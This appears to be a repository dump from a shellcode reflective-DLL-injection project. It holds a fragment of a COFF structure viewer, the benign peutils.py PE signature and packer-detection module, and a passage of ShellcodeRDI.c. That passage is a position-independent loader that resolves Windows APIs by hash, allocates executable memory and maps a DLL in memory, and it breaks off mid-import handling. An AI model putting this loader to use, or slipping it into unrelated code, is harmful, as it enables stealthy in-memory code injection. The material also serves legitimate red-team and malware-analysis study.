171 |
172 | Type
173 |
174 |
175 | StorageClass
176 |
177 |
178 | NumberOfAuxSymbols
179 | 0x{0:X2}
180 |
181 |
182 | AuxSymbols
183 |
184 |
185 |
186 |
187 |
188 |
189 |
190 | SectionDefinitionView
191 |
192 | COFF.SECTION_DEFINITION
193 |
194 |
195 |
196 |
197 |
198 |
199 |
200 |
201 |
202 |
203 |
204 |
205 |
206 |
207 |
208 |
209 |
210 |
211 |
212 |
213 |
214 |
215 |
216 |
217 |
218 |
219 |
220 | Length
221 | 0x{0:X8}
222 |
223 |
224 | NumberOfRelocations
225 | 0x{0:X4}
226 |
227 |
228 | NumberOfLinenumbers
229 | 0x{0:X4}
230 |
231 |
232 | CheckSum
233 | 0x{0:X8}
234 |
235 |
236 | Number
237 | 0x{0:X4}
238 |
239 |
240 | Selection
241 | 0x{0:X2}
242 |
243 |
244 |
245 |
246 |
247 |
248 |
249 | RelocationView
250 |
251 | COFF.RelocationEntry
252 |
253 |
254 |
255 |
256 |
257 |
258 |
259 |
260 |
261 |
262 |
263 |
264 |
265 |
266 |
267 |
268 |
269 |
270 |
271 |
272 |
273 | VirtualAddress
274 | 0x{0:X8}
275 |
276 |
277 | SymbolTableIndex
278 | 0x{0:X8}
279 |
280 |
281 | Type
282 |
283 |
284 | Name
285 |
286 |
287 |
288 |
289 |
290 |
291 |
292 |
--------------------------------------------------------------------------------
/Python/peutils.py:
--------------------------------------------------------------------------------
1 | # -*- coding: Latin-1 -*-
2 | """peutils, Portable Executable utilities module
3 |
4 |
5 | Copyright (c) 2005-2012 Ero Carrera
6 |
7 | All rights reserved.
8 |
9 | For detailed copyright information see the file COPYING in
10 | the root of the distribution archive.
11 | """
12 |
13 | import os
14 | import re
15 | import string
16 | import urllib.request, urllib.parse, urllib.error
17 | import pefile
18 |
19 | __author__ = 'Ero Carrera'
20 | __version__ = pefile.__version__
21 | __contact__ = 'ero.carrera@gmail.com'
22 |
23 |
24 |
25 |
26 | class SignatureDatabase:
27 | """This class loads and keeps a parsed PEiD signature database.
28 |
29 | Usage:
30 |
31 | sig_db = SignatureDatabase('/path/to/signature/file')
32 |
33 | and/or
34 |
35 | sig_db = SignatureDatabase()
36 | sig_db.load('/path/to/signature/file')
37 |
38 | Signature databases can be combined by performing multiple loads.
39 |
40 | The filename parameter can be a URL too. In that case the
41 | signature database will be downloaded from that location.
42 | """
43 |
44 | def __init__(self, filename=None, data=None):
45 |
46 | # RegExp to match a signature block
47 | #
48 | self.parse_sig = re.compile(
49 | '\[(.*?)\]\s+?signature\s*=\s*(.*?)(\s+\?\?)*\s*ep_only\s*=\s*(\w+)(?:\s*section_start_only\s*=\s*(\w+)|)', re.S)
50 |
51 | # Signature information
52 | #
53 | # Signatures are stored as trees using dictionaries
54 | # The keys are the byte values while the values for
55 | # each key are either:
56 | #
57 | # - Other dictionaries of the same form for further
58 | # bytes in the signature
59 | #
60 | # - A dictionary with a string as a key (packer name)
61 | # and None as value to indicate a full signature
62 | #
63 | self.signature_tree_eponly_true = dict ()
64 | self.signature_count_eponly_true = 0
65 | self.signature_tree_eponly_false = dict ()
66 | self.signature_count_eponly_false = 0
67 | self.signature_tree_section_start = dict ()
68 | self.signature_count_section_start = 0
69 |
70 | # The depth (length) of the longest signature
71 | #
72 | self.max_depth = 0
73 |
74 | self.__load(filename=filename, data=data)
75 |
76 | def generate_section_signatures(self, pe, name, sig_length=512):
77 | """Generates signatures for all the sections in a PE file.
78 |
79 | If the section contains any data a signature will be created
80 | for it. The signature name will be a combination of the
81 | parameter 'name' and the section number and its name.
82 | """
83 |
84 | section_signatures = list()
85 |
86 | for idx, section in enumerate(pe.sections):
87 |
88 | if section.SizeOfRawData < sig_length:
89 | continue
90 |
91 | #offset = pe.get_offset_from_rva(section.VirtualAddress)
92 | offset = section.PointerToRawData
93 |
94 | sig_name = '%s Section(%d/%d,%s)' % (
95 | name, idx + 1, len(pe.sections),
96 | ''.join([c for c in section.Name if c in string.printable]))
97 |
98 | section_signatures.append(
99 | self.__generate_signature(
100 | pe, offset, sig_name, ep_only=False,
101 | section_start_only=True,
102 | sig_length=sig_length) )
103 |
104 | return '\n'.join(section_signatures)+'\n'
105 |
106 |
107 |
108 | def generate_ep_signature(self, pe, name, sig_length=512):
109 | """Generate signatures for the entry point of a PE file.
110 |
111 | Creates a signature whose name will be the parameter 'name'
112 | and the section number and its name.
113 | """
114 |
115 | offset = pe.get_offset_from_rva(pe.OPTIONAL_HEADER.AddressOfEntryPoint)
116 |
117 | return self.__generate_signature(
118 | pe, offset, name, ep_only=True, sig_length=sig_length)
119 |
120 |
121 |
122 | def __generate_signature(self, pe, offset, name, ep_only=False,
123 | section_start_only=False, sig_length=512):
124 |
125 | data = pe.__data__[offset:offset+sig_length]
126 |
127 | signature_bytes = ' '.join(['%02x' % ord(c) for c in data])
128 |
129 | if ep_only == True:
130 | ep_only = 'true'
131 | else:
132 | ep_only = 'false'
133 |
134 | if section_start_only == True:
135 | section_start_only = 'true'
136 | else:
137 | section_start_only = 'false'
138 |
139 | signature = '[%s]\nsignature = %s\nep_only = %s\nsection_start_only = %s\n' % (
140 | name, signature_bytes, ep_only, section_start_only)
141 |
142 | return signature
143 |
144 | def match(self, pe, ep_only=True, section_start_only=False):
145 | """Matches and returns the exact match(es).
146 |
147 | If ep_only is True the result will be a string with
148 | the packer name. Otherwise it will be a list of the
149 | form (file_ofsset, packer_name). Specifying where
150 | in the file the signature was found.
151 | """
152 |
153 | matches = self.__match(pe, ep_only, section_start_only)
154 |
155 | # The last match (the most precise) from the
156 | # list of matches (if any) is returned
157 | #
158 | if matches:
159 | if ep_only == False:
160 | # Get the most exact match for each list of matches
161 | # at a given offset
162 | #
163 | return [(match[0], match[1][-1]) for match in matches]
164 |
165 | return matches[1][-1]
166 |
167 | return None
168 |
169 | def match_all(self, pe, ep_only=True, section_start_only=False):
170 | """Matches and returns all the likely matches."""
171 |
172 | matches = self.__match(pe, ep_only, section_start_only)
173 |
174 | if matches:
175 | if ep_only == False:
176 | # Get the most exact match for each list of matches
177 | # at a given offset
178 | #
179 | return matches
180 |
181 | return matches[1]
182 |
183 | return None
184 |
185 | def __match(self, pe, ep_only, section_start_only):
186 |
187 | # Load the corresponding set of signatures
188 | # Either the one for ep_only equal to True or
189 | # to False
190 | #
191 | if section_start_only is True:
192 |
193 | # Fetch the data of the executable as it'd
194 | # look once loaded in memory
195 | #
196 | try :
197 | data = pe.__data__
198 | except Exception as excp :
199 | raise
200 |
201 | # Load the corresponding tree of signatures
202 | #
203 | signatures = self.signature_tree_section_start
204 |
205 | # Set the starting address to start scanning from
206 | #
207 | scan_addresses = [section.PointerToRawData for section in pe.sections]
208 |
209 | elif ep_only is True:
210 |
211 | # Fetch the data of the executable as it'd
212 | # look once loaded in memory
213 | #
214 | try :
215 | data = pe.get_memory_mapped_image()
216 | except Exception as excp :
217 | raise
218 |
219 | # Load the corresponding tree of signatures
220 | #
221 | signatures = self.signature_tree_eponly_true
222 |
223 | # Fetch the entry point of the PE file and the data
224 | # at the entry point
225 | #
226 | ep = pe.OPTIONAL_HEADER.AddressOfEntryPoint
227 |
228 | # Set the starting address to start scanning from
229 | #
230 | scan_addresses = [ep]
231 |
232 | else:
233 |
234 | data = pe.__data__
235 |
236 | signatures = self.signature_tree_eponly_false
237 |
238 | scan_addresses = range( len(data) )
239 |
240 | # For each start address, check if any signature matches
241 | #
242 | matches = []
243 | for idx in scan_addresses:
244 | result = self.__match_signature_tree(
245 | signatures,
246 | data[idx:idx+self.max_depth])
247 | if result:
248 | matches.append( (idx, result) )
249 |
250 | # Return only the matched items found at the entry point if
251 | # ep_only is True (matches will have only one element in that
252 | # case)
253 | #
254 | if ep_only is True:
255 | if matches:
256 | return matches[0]
257 |
258 | return matches
259 |
260 |
261 | def match_data(self, code_data, ep_only=True, section_start_only=False):
262 |
263 | data = code_data
264 | scan_addresses = [ 0 ]
265 |
266 | # Load the corresponding set of signatures
267 | # Either the one for ep_only equal to True or
268 | # to False
269 | #
270 | if section_start_only is True:
271 |
272 | # Load the corresponding tree of signatures
273 | #
274 | signatures = self.signature_tree_section_start
275 |
276 | # Set the starting address to start scanning from
277 | #
278 |
279 | elif ep_only is True:
280 |
281 | # Load the corresponding tree of signatures
282 | #
283 | signatures = self.signature_tree_eponly_true
284 |
285 |
286 | # For each start address, check if any signature matches
287 | #
288 | matches = []
289 | for idx in scan_addresses:
290 | result = self.__match_signature_tree(
291 | signatures,
292 | data[idx:idx+self.max_depth])
293 | if result:
294 | matches.append( (idx, result) )
295 |
296 | # Return only the matched items found at the entry point if
297 | # ep_only is True (matches will have only one element in that
298 | # case)
299 | #
300 | if ep_only is True:
301 | if matches:
302 | return matches[0]
303 |
304 | return matches
305 |
306 |
307 | def __match_signature_tree(self, signature_tree, data, depth = 0):
308 | """Recursive function to find matches along the signature tree.
309 |
310 | signature_tree is the part of the tree left to walk
311 | data is the data being checked against the signature tree
312 | depth keeps track of how far we have gone down the tree
313 | """
314 |
315 |
316 | matched_names = list ()
317 | match = signature_tree
318 |
319 | # Walk the bytes in the data and match them
320 | # against the signature
321 | #
322 | for idx, byte in enumerate ( [ord (b) for b in data] ):
323 |
324 | # If the tree is exhausted...
325 | #
326 | if match is None :
327 | break
328 |
329 | # Get the next byte in the tree
330 | #
331 | match_next = match.get(byte, None)
332 |
333 |
334 | # If None is among the values for the key
335 | # it means that a signature in the database
336 | # ends here and that there's an exact match.
337 | #
338 | if None in list(match.values()):
339 | # idx represent how deep we are in the tree
340 | #
341 | #names = [idx+depth]
342 | names = list()
343 |
344 | # For each of the item pairs we check
345 | # if it has an element other than None,
346 | # if not then we have an exact signature
347 | #
348 | for item in list(match.items()):
349 | if item[1] is None :
350 | names.append (item[0])
351 | matched_names.append(names)
352 |
353 | # If a wildcard is found keep scanning the signature
354 | # ignoring the byte.
355 | #
356 | if '??' in match :
357 | match_tree_alternate = match.get ('??', None)
358 | data_remaining = data[idx + 1 :]
359 | if data_remaining:
360 | matched_names.extend(
361 | self.__match_signature_tree(
362 | match_tree_alternate, data_remaining, idx+depth+1))
363 |
364 | match = match_next
365 |
366 | # If we have any more packer name in the end of the signature tree
367 | # add them to the matches
368 | #
369 | if match is not None and None in list(match.values()):
370 | #names = [idx + depth + 1]
371 | names = list()
372 | for item in list(match.items()) :
373 | if item[1] is None:
374 | names.append(item[0])
375 | matched_names.append(names)
376 |
377 | return matched_names
378 |
379 | def load(self , filename=None, data=None):
380 | """Load a PEiD signature file.
381 |
382 | Invoking this method on different files combines the signatures.
383 | """
384 |
385 | self.__load(filename=filename, data=data)
386 |
387 | def __load(self, filename=None, data=None):
388 |
389 |
390 | if filename is not None:
391 | # If the path does not exist, attempt to open a URL
392 | #
393 | if not os.path.exists(filename):
394 | try:
395 | sig_f = urllib.request.urlopen(filename)
396 | sig_data = sig_f.read()
397 | sig_f.close()
398 | except IOError:
399 | # Let this be raised back to the user...
400 | raise
401 | else:
402 | # Get the data for a file
403 | #
404 | try:
405 | sig_f = file( filename, 'rt' )
406 | sig_data = sig_f.read()
407 | sig_f.close()
408 | except IOError:
409 | # Let this be raised back to the user...
410 | raise
411 | else:
412 | sig_data = data
413 |
414 | # If the file/URL could not be read or no "raw" data
415 | # was provided there's nothing else to do
416 | #
417 | if not sig_data:
418 | return
419 |
420 | # Helper function to parse the signature bytes
421 | #
422 | def to_byte(value) :
423 | if value == '??' or value == '?0' :
424 | return value
425 | return int (value, 16)
426 |
427 |
428 | # Parse all the signatures in the file
429 | #
430 | matches = self.parse_sig.findall(sig_data)
431 |
432 | # For each signature, get the details and load it into the
433 | # signature tree
434 | #
435 | for packer_name, signature, superfluous_wildcards, ep_only, section_start_only in matches:
436 |
437 | ep_only = ep_only.strip().lower()
438 |
439 | signature = signature.replace('\\n', '').strip()
440 |
441 | signature_bytes = [to_byte(b) for b in signature.split()]
442 |
443 | if ep_only == 'true':
444 | ep_only = True
445 | else:
446 | ep_only = False
447 |
448 | if section_start_only == 'true':
449 | section_start_only = True
450 | else:
451 | section_start_only = False
452 |
453 |
454 | depth = 0
455 |
456 | if section_start_only is True:
457 |
458 | tree = self.signature_tree_section_start
459 | self.signature_count_section_start += 1
460 |
461 | else:
462 | if ep_only is True :
463 | tree = self.signature_tree_eponly_true
464 | self.signature_count_eponly_true += 1
465 | else :
466 | tree = self.signature_tree_eponly_false
467 | self.signature_count_eponly_false += 1
468 |
469 | for idx, byte in enumerate (signature_bytes) :
470 |
471 | if idx+1 == len(signature_bytes):
472 |
473 | tree[byte] = tree.get( byte, dict() )
474 | tree[byte][packer_name] = None
475 |
476 | else :
477 |
478 | tree[byte] = tree.get ( byte, dict() )
479 |
480 | tree = tree[byte]
481 | depth += 1
482 |
483 | if depth > self.max_depth:
484 | self.max_depth = depth
485 |
486 |
487 |
488 |
489 | def is_valid( pe ):
490 | """"""
491 | pass
492 |
493 |
494 | def is_suspicious( pe ):
495 | """
496 | unusual locations of import tables
497 | non recognized section names
498 | presence of long ASCII strings
499 | """
500 |
501 | relocations_overlap_entry_point = False
502 | sequential_relocs = 0
503 |
504 | # If relocation data is found and the entries go over the entry point, and also are very
505 | # continuous or point outside section's boundaries => it might imply that an obfuscation
506 | # trick is being used or the relocations are corrupt (maybe intentionally)
507 | #
508 | if hasattr(pe, 'DIRECTORY_ENTRY_BASERELOC'):
509 | for base_reloc in pe.DIRECTORY_ENTRY_BASERELOC:
510 | last_reloc_rva = None
511 | for reloc in base_reloc.entries:
512 | if reloc.rva <= pe.OPTIONAL_HEADER.AddressOfEntryPoint <= reloc.rva + 4:
513 | relocations_overlap_entry_point = True
514 |
515 | if last_reloc_rva is not None and last_reloc_rva <= reloc.rva <= last_reloc_rva + 4:
516 | sequential_relocs += 1
517 |
518 | last_reloc_rva = reloc.rva
519 |
520 |
521 |
522 | # If import tables or strings exist (are pointed to) to within the header or in the area
523 | # between the PE header and the first section that's supicious
524 | #
525 | # IMPLEMENT
526 |
527 |
528 | warnings_while_parsing = False
529 | # If we have warnings, that's suspicious, some of those will be because of out-of-ordinary
530 | # values are found in the PE header fields
531 | # Things that are reported in warnings:
532 | # (parsing problems, special section characteristics i.e. W & X, uncommon values of fields,
533 | # unusual entrypoint, suspicious imports)
534 | #
535 | warnings = pe.get_warnings()
536 | if warnings:
537 | warnings_while_parsing
538 |
539 | # If there are few or none (should come with a standard "density" of strings/kilobytes of data) longer (>8)
540 | # ascii sequences that might indicate packed data, (this is similar to the entropy test in some ways but
541 | # might help to discard cases of legitimate installer or compressed data)
542 |
543 | # If compressed data (high entropy) and is_driver => uuuuhhh, nasty
544 |
545 | pass
546 |
547 |
548 | def is_probably_packed( pe ):
549 | """Returns True is there is a high likelihood that a file is packed or contains compressed data.
550 |
551 | The sections of the PE file will be analyzed, if enough sections
552 | look like containing containing compressed data and the data makes
553 | up for more than 20% of the total file size. The function will
554 | return True.
555 | """
556 |
557 | # Calculate the lenth of the data up to the end of the last section in the
558 | # file. Overlay data won't be taken into account
559 | #
560 | total_pe_data_length = len( pe.trim() )
561 | has_significant_amount_of_compressed_data = False
562 |
563 | # If some of the sections have high entropy and they make for more than 20% of the file's size
564 | # it's assumed that it could be an installer or a packed file
565 |
566 | total_compressed_data = 0
567 | for section in pe.sections:
568 | s_entropy = section.get_entropy()
569 | s_length = len( section.get_data() )
570 | # The value of 7.4 is empircal, based of looking at a few files packed
571 | # by different packers
572 | if s_entropy > 7.4:
573 | total_compressed_data += s_length
574 |
575 | if ((1.0 * total_compressed_data)/total_pe_data_length) > .2:
576 | has_significant_amount_of_compressed_data = True
577 |
578 | return has_significant_amount_of_compressed_data
579 |
580 |
581 |
582 |
--------------------------------------------------------------------------------
/ShellcodeRDI/ShellcodeRDI.c:
--------------------------------------------------------------------------------
1 | #define WIN32_LEAN_AND_MEAN
2 |
3 | #pragma warning( disable : 4201 ) // Disable warning about 'nameless struct/union'
4 |
5 | #include "GetProcAddressWithHash.h"
6 | #include "64BitHelper.h"
7 | #include
8 | #include
9 |
10 | // we declare some common stuff in here...
11 |
12 | #define DLL_QUERY_HMODULE 6
13 |
14 | #define DEREF( name )*(UINT_PTR *)(name)
15 | #define DEREF_64( name )*(DWORD64 *)(name)
16 | #define DEREF_32( name )*(DWORD *)(name)
17 | #define DEREF_16( name )*(WORD *)(name)
18 | #define DEREF_8( name )*(BYTE *)(name)
19 |
20 | typedef ULONG_PTR(WINAPI * REFLECTIVELOADER)(LPVOID lpParameter, LPVOID lpLibraryAddress, DWORD dwFunctionHash, LPVOID lpUserData, DWORD nUserdataLen, BOOL exitThread);
21 | typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID);
22 |
23 | typedef HMODULE(WINAPI * LOADLIBRARYA)(LPCSTR);
24 | typedef FARPROC(WINAPI * GETPROCADDRESS)(HMODULE, LPCSTR);
25 | typedef LPVOID(WINAPI * VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD);
26 | typedef VOID(WINAPI * EXITTHREAD)(DWORD);
27 | typedef DWORD(NTAPI * NTFLUSHINSTRUCTIONCACHE)(HANDLE, PVOID, ULONG);
28 |
29 | /** NOTE: module hashes are computed using all-caps unicode strings */
30 | #define KERNEL32DLL_HASH 0x6A4ABC5B
31 | #define NTDLLDLL_HASH 0x3CFA685D
32 |
33 | #define LOADLIBRARYA_HASH 0xEC0E4E8E
34 | #define GETPROCADDRESS_HASH 0x7C0DFCAA
35 | #define VIRTUALALLOC_HASH 0x91AFCA54
36 | #define EXITTHREAD_HSAH 0x60E0CEEF
37 | #define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
38 | #define RTLEXITUSERTHREAD_HASH 0xFF7F061A // Vista+
39 |
40 | #define IMAGE_REL_BASED_ARM_MOV32A 5
41 | #define IMAGE_REL_BASED_ARM_MOV32T 7
42 |
43 | #define ARM_MOV_MASK (DWORD)(0xFBF08000)
44 | #define ARM_MOV_MASK2 (DWORD)(0xFBF08F00)
45 | #define ARM_MOVW 0xF2400000
46 | #define ARM_MOVT 0xF2C00000
47 |
48 | #define HASH_KEY 13
49 |
50 | typedef struct _UNICODE_STR
51 | {
52 | USHORT Length;
53 | USHORT MaximumLength;
54 | PWSTR pBuffer;
55 | } UNICODE_STR, *PUNICODE_STR;
56 |
57 | typedef struct _PEB_FREE_BLOCK
58 | {
59 | struct _PEB_FREE_BLOCK * pNext;
60 | DWORD dwSize;
61 | } PEB_FREE_BLOCK, *PPEB_FREE_BLOCK;
62 |
63 | typedef struct __PEB
64 | {
65 | BYTE bInheritedAddressSpace;
66 | BYTE bReadImageFileExecOptions;
67 | BYTE bBeingDebugged;
68 | BYTE bSpareBool;
69 | LPVOID lpMutant;
70 | LPVOID lpImageBaseAddress;
71 | PPEB_LDR_DATA pLdr;
72 | LPVOID lpProcessParameters;
73 | LPVOID lpSubSystemData;
74 | LPVOID lpProcessHeap;
75 | PRTL_CRITICAL_SECTION pFastPebLock;
76 | LPVOID lpFastPebLockRoutine;
77 | LPVOID lpFastPebUnlockRoutine;
78 | DWORD dwEnvironmentUpdateCount;
79 | LPVOID lpKernelCallbackTable;
80 | DWORD dwSystemReserved;
81 | DWORD dwAtlThunkSListPtr32;
82 | PPEB_FREE_BLOCK pFreeList;
83 | DWORD dwTlsExpansionCounter;
84 | LPVOID lpTlsBitmap;
85 | DWORD dwTlsBitmapBits[2];
86 | LPVOID lpReadOnlySharedMemoryBase;
87 | LPVOID lpReadOnlySharedMemoryHeap;
88 | LPVOID lpReadOnlyStaticServerData;
89 | LPVOID lpAnsiCodePageData;
90 | LPVOID lpOemCodePageData;
91 | LPVOID lpUnicodeCaseTableData;
92 | DWORD dwNumberOfProcessors;
93 | DWORD dwNtGlobalFlag;
94 | LARGE_INTEGER liCriticalSectionTimeout;
95 | DWORD dwHeapSegmentReserve;
96 | DWORD dwHeapSegmentCommit;
97 | DWORD dwHeapDeCommitTotalFreeThreshold;
98 | DWORD dwHeapDeCommitFreeBlockThreshold;
99 | DWORD dwNumberOfHeaps;
100 | DWORD dwMaximumNumberOfHeaps;
101 | LPVOID lpProcessHeaps;
102 | LPVOID lpGdiSharedHandleTable;
103 | LPVOID lpProcessStarterHelper;
104 | DWORD dwGdiDCAttributeList;
105 | LPVOID lpLoaderLock;
106 | DWORD dwOSMajorVersion;
107 | DWORD dwOSMinorVersion;
108 | WORD wOSBuildNumber;
109 | WORD wOSCSDVersion;
110 | DWORD dwOSPlatformId;
111 | DWORD dwImageSubsystem;
112 | DWORD dwImageSubsystemMajorVersion;
113 | DWORD dwImageSubsystemMinorVersion;
114 | DWORD dwImageProcessAffinityMask;
115 | DWORD dwGdiHandleBuffer[34];
116 | LPVOID lpPostProcessInitRoutine;
117 | LPVOID lpTlsExpansionBitmap;
118 | DWORD dwTlsExpansionBitmapBits[32];
119 | DWORD dwSessionId;
120 | ULARGE_INTEGER liAppCompatFlags;
121 | ULARGE_INTEGER liAppCompatFlagsUser;
122 | LPVOID lppShimData;
123 | LPVOID lpAppCompatInfo;
124 | UNICODE_STR usCSDVersion;
125 | LPVOID lpActivationContextData;
126 | LPVOID lpProcessAssemblyStorageMap;
127 | LPVOID lpSystemDefaultActivationContextData;
128 | LPVOID lpSystemAssemblyStorageMap;
129 | DWORD dwMinimumStackCommit;
130 | } _PEB, *_PPEB;
131 |
132 | #pragma warning( push )
133 | #pragma warning( disable : 4214 ) // nonstandard extension
134 | typedef struct
135 | {
136 | WORD offset : 12;
137 | WORD type : 4;
138 | } IMAGE_RELOC, *PIMAGE_RELOC;
139 | #pragma warning(pop)
140 |
141 | // Redefine Win32 function signatures. This is necessary because the output
142 | // of GetProcAddressWithHash is cast as a function pointer. Also, this makes
143 | // working with these functions a joy in Visual Studio with Intellisense.
144 | typedef HMODULE (WINAPI *FuncLoadLibraryA) (
145 | _In_z_ LPTSTR lpFileName
146 | );
147 |
148 | typedef HANDLE (WINAPI *FuncCreateFile) (
149 | _In_ LPCTSTR lpFileName,
150 | _In_ DWORD dwDesiredAccess,
151 | _In_ DWORD dwShareMode,
152 | _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes,
153 | _In_ DWORD dwCreationDisposition,
154 | _In_ DWORD dwFlagsAndAttributes,
155 | _In_opt_ HANDLE hTemplateFile
156 | );
157 |
158 | typedef BOOL (WINAPI *FuncWriteFile)(
159 | _In_ HANDLE hFile,
160 | _In_ LPCVOID lpBuffer,
161 | _In_ DWORD nNumberOfBytesToWrite,
162 | _Out_opt_ LPDWORD lpNumberOfBytesWritten,
163 | _Inout_opt_ LPOVERLAPPED lpOverlapped
164 | );
165 |
166 | typedef int (WINAPI *FuncMessageBox)(
167 | _In_opt_ HWND hWnd,
168 | _In_opt_ LPSTR lpText,
169 | _In_opt_ LPSTR lpCaption,
170 | _In_ UINT uType
171 | );
172 |
173 | typedef BOOL(*EXPORTFUNC)(LPVOID, DWORD);
174 |
175 | // Write the logic for the primary payload here
176 | // Normally, I would call this 'main' but if you call a function 'main', link.exe requires that you link against the CRT
177 | // Rather, I will pass a linker option of "/ENTRY:ExecutePayload" in order to get around this issue.
178 | ULONG_PTR ExecutePayload(ULONG_PTR uiLibraryAddress, DWORD dwFunctionHash, LPVOID lpUserData, DWORD nUserdataLen)
179 | {
180 | #pragma warning( push )
181 | #pragma warning( disable : 4055 ) // Ignore cast warnings
182 |
183 | // the functions we need
184 | LOADLIBRARYA pLoadLibraryA = NULL;
185 | GETPROCADDRESS pGetProcAddress = NULL;
186 | VIRTUALALLOC pVirtualAlloc = NULL;
187 | EXITTHREAD pExitThread = NULL;
188 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
189 |
190 | PIMAGE_DATA_DIRECTORY directory = NULL;
191 | PIMAGE_EXPORT_DIRECTORY exports = NULL;
192 | int idx;
193 | DWORD nameSearchIndex;
194 | DWORD *nameRef = NULL;
195 | WORD *ordinal = NULL;
196 | PCSTR pTempChar;
197 | DWORD dwCalculatedFunctionHash;
198 |
199 | EXPORTFUNC f = NULL;
200 |
201 | // the initial location of this image in memory
202 | //ULONG_PTR uiLibraryAddress;
203 | // the kernels base address and later this images newly loaded base address
204 | ULONG_PTR uiBaseAddress;
205 |
206 | // variables for processing the kernels export table
207 | ULONG_PTR uiAddressArray;
208 | ULONG_PTR uiNameArray;
209 | ULONG_PTR uiExportDir;
210 |
211 | // variables for loading this image
212 | ULONG_PTR uiHeaderValue;
213 | ULONG_PTR uiValueA;
214 | ULONG_PTR uiValueB;
215 | ULONG_PTR uiValueC;
216 | ULONG_PTR uiValueD;
217 | ULONG_PTR uiValueE;
218 |
219 | // exit code for current thread
220 | DWORD dwExitCode = 1;
221 |
222 | pLoadLibraryA = (LOADLIBRARYA)GetProcAddressWithHash(0x726774c);
223 | pGetProcAddress = (GETPROCADDRESS)GetProcAddressWithHash(0x7802f749);
224 | pVirtualAlloc = (VIRTUALALLOC)GetProcAddressWithHash(0xe553a458);
225 | pExitThread = (EXITTHREAD)GetProcAddressWithHash(0xa2a1de0);
226 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)GetProcAddressWithHash(0x945cb1af);
227 |
228 |
229 | // STEP 2: load our image into a new permanent location in memory...
230 |
231 | // get the VA of the NT Header for the PE to be loaded
232 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
233 |
234 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will
235 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
236 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc((LPVOID)NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
237 |
238 | // we must now copy over the headers
239 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
240 | uiValueB = uiLibraryAddress;
241 | uiValueC = uiBaseAddress;
242 |
243 | while (uiValueA--)
244 | *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
245 |
246 | // STEP 3: load in all of our sections...
247 |
248 | // uiValueA = the VA of the first section
249 | uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
250 |
251 | // itterate through all sections, loading them into memory.
252 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
253 | while (uiValueE--)
254 | {
255 | // uiValueB is the VA for this section
256 | uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
257 |
258 | // uiValueC if the VA for this sections data
259 | uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
260 |
261 | // copy the section over
262 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
263 |
264 | while (uiValueD--)
265 | *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
266 |
267 | // get the VA of the next section
268 | uiValueA += sizeof(IMAGE_SECTION_HEADER);
269 | }
270 |
271 | // STEP 4: process our images import table...
272 |
273 | // uiValueB = the address of the import directory
274 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
275 |
276 | // we assume their is an import table to process
277 | // uiValueC is the first entry in the import table
278 | uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
279 |
280 | // itterate through all imports
281 | while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
282 | {
283 | // use LoadLibraryA to load the imported module into memory
284 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
285 |
286 | // uiValueD = VA of the OriginalFirstThunk
287 | uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
288 |
289 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
290 | uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
291 |
292 | // itterate through all imported functions, importing by ordinal if no name present
293 | while (DEREF(uiValueA))
294 | {
295 | // sanity check uiValueD as some compilers only import by FirstThunk
296 | if (((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal && uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
297 | {
298 |
299 | // get the VA of the modules NT Header
300 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
301 |
302 | // uiNameArray = the address of the modules export directory entry
303 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
304 |
305 | // get the VA of the export directory
306 | uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
307 |
308 | // get the VA for the array of addresses
309 | uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
310 |
311 | // use the import ordinal (- export ordinal base) as an index into the array of addresses
312 | uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
313 |
